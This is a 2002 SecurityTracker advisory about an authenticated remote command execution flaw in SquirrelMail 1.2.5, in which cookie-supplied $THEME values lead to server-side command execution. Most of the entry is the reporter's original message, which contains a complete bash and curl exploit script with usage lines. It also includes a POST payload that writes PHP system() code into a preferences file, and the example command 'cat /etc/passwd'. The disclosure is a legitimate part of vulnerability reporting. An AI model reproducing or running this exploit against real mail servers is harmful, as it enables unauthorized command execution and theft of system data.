SquirrelMail Lets Remote Users Execute Arbitrary Commands By Appending Cookie-based Commands to the $THEME Variable
|
|
SecurityTracker Alert ID: 1003918 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 29 2002
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.2.5
|
Description: A vulnerability was reported in the SquirrelMail web-based mail server. An authenticated remote user can cause arbitrary commands to be executed on the server.
It is reported that a valid and authenticated remote user can append $THEME variable with user-supplied commands via cookies.
A demonstration exploit is provided in the Source Message.
|
Impact: A valid and authenticated remote user can execute arbitrary commands on the server with the privileges of the web server.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.squirrelmail.org/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Reported By: pokleyzz sakamaniaka <pokleyzz@hotmail.com>
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 28 Mar 2002 01:16:23 -0000
From: pokleyzz sakamaniaka <pokleyzz@hotmail.com>
Subject: squirrelmail 1.2.5 email user can execute command
|
email user can append $THEME variable through
cookies
---------------- start sq125x ---------------------
#!/bin/bash
# squirrelmail-1.2.5 remote execution by pokleyzz
http://www.inetd-secure.net
# usage : ./sq125x themecount username password
url command
# example : ./sq125x 2 pokley 123456
http://mail.pokleyzz.my/mail "cat /etc/passwd"
# curl can be found at http://curl.haxx.se/libcurl/
export
PATH="/usr/bin:/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/l
ocal/sbin"
export CURL="/usr/bin/curl"
export USERNAME="$2"
export PASSWORD="$3"
export THEME_COUNT="$1"
export URL="$4"
export COMMAND=`echo $5|sed 's/\ /%20/g' -`
export TMPFILE="header.tmp"
export THEME="theme[${THEME_COUNT}][PATH]
=../data/${USERNAME}.pref; theme
[${THEME_COUNT}][NAME]=testing"
#step 1
sed "s/pokley/"$USERNAME"/g" post.txt >lame.txt
/bin/rm -rf ${TMPFILE}
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php
#step 2
sleep 5s
$CURL -b "$THEME" -d
login_username=${USERNAME} -d
secretkey=${PASSWORD} -d
js_autodetect_results=0 -d just_logged_in=1 -D
${TMPFILE} ${URL}/src/redirect.php
export COOKIES=`cat ${TMPFILE} |grep Set-
Cookie|awk {'print $2'}|while read data;do printf '%b'
$data;done`
export COOKIES="${COOKIES} ${THEME}"
$CURL -b "$COOKIES" -d @lame.txt -o /tmp/.tmp --
silent ${URL}/src/options.php
$CURL -b "$COOKIES" ${URL}/src/left_main.php?
cmdd=${COMMAND}
$CURL -b "$COOKIES" -o /tmp/.tmp --silent
${URL}/src/signout.php
rm -rf lame.txt /tmp/.tmp
-------------- end sq125 ----------------------
-------------- start post.txt --------------------
optpage=display&optmode=submit&new_chosen_the
me=..%2Fdata%
2Fpokley.pref&new_custom_css=none&new_languag
e=&new_javascript_setting=2&new_js_autodetect_re
sults=1&new_show_num=15%0D%0A%3C%3F+%
0D%0Asystem%28%24cmdd%29%3B+%0D%0A%
3F%
3E&new_alt_index_colors=1&new_page_selector=1&
new_page_selector_max=10&new_wrap_at=86&new
_editor_size=76&new_location_of_buttons=between&
new_use_javascript_addr_book=0&new_show_html_
default=0&new_include_self_reply_all=1&new_show_
xmailer_default=0&new_attachment_common_show_
images=0&new_pf_subtle_link=1&new_pf_cleandispl
ay=0&new_mdn_user_support=1&new_compose_ne
w_win=0&delete_move_next_bi=on&delete_move_ne
xt_formATbottomi=on&submit_display=Submit
----------------------end post.txt --------------------------
|
|
